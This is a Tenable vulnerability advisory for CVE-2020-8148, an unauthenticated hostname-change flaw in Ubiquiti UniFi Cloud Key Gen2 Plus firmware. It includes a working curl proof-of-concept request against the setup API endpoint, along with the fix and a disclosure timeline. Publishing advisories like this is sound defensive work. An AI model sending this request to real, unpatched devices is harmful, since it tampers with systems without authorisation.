Facebook Google Plus Twitter LinkedIn YouTube RSS Menu Search Resource - BlogResource - WebinarResource - ReportResource - Eventicons_066 icons_067icons_068icons_069icons_070

Ubiquiti Unifi Cloud Key Gen2 Plus Unauthenticated Hostname Modification

Medium

Synopsis

While investigating Ubiquiti Unifi Cloud Key Gen2 Plus, Tenable discovered a previously patched but undisclosed vulnerability. The vulnerability can be exploited by a remote, unauthenticated attacker to modify the Ubiquiti system's hostname.

Specifically the /api/ump/setup and /api/umc/setup API endpoints accept a "name" parameter that is used to update the device hostname. These endpoints do not require authentication.

Proof of Concept

Request:
curl -H "Content-Type: application/json" --insecure -X POST https://192.168.30.2:443/api/ump/setup -d '{"timezone":"US/Central", "country":826, "localUsername":"newuser", "localPassword":"newpass","localEmail":"[email protected]","name":"newname1"}'
Response:
{"services":[{"service":"host","status":200,"code":"SUCCESS"}]}

Solution

Upgrade to UniFi Cloud Key Firmware 1.1.10

Disclosure Timeline

04/06/2020 - Vulnerability discovered
04/06/2020 - Vendor released patch
04/09/2020 - Contacted vendor to ask if CVE has been assigned
04/09/2020 - Vendor confirms fix. A CVE will be assigned at a later date.
04/10/2020 - Vendor has disclosed. Links us to related reports/bulletins, and provides us with the CVE.

All information within TRA advisories is provided “as is”, without warranty of any kind, including the implied warranties of merchantability and fitness for a particular purpose, and with no guarantee of completeness, accuracy, or timeliness. Individuals and organizations are responsible for assessing the impact of any actual or potential security vulnerability.

Tenable takes product security very seriously. If you believe you have found a vulnerability in one of our products, we ask that you please work with us to quickly resolve it in order to protect customers. Tenable believes in responding quickly to such reports, maintaining communication with researchers, and providing a solution in short order.

For more details on submitting vulnerability information, please see our Vulnerability Reporting Guidelines page.

If you have questions or corrections about this advisory, please email [email protected]

Risk Information

CVE ID: CVE-2020-8148
Tenable Advisory ID: TRA-2020-21
Credit:
Katie Sexton
CVSSv2 Base / Temporal Score:
5.0 / 3.9
CVSSv2 Vector:
(AV:N/AC:L/Au:N/C:N/I:P/A:N)
Affected Products:
Ubiquiti Unifi Cloud Key Firmware 1.1.6 and prior
Risk Factor:
Medium

Advisory Timeline

04/09/2020 - Advisory published
04/10/2020 - Updated with info from Ubiquiti's security bulletin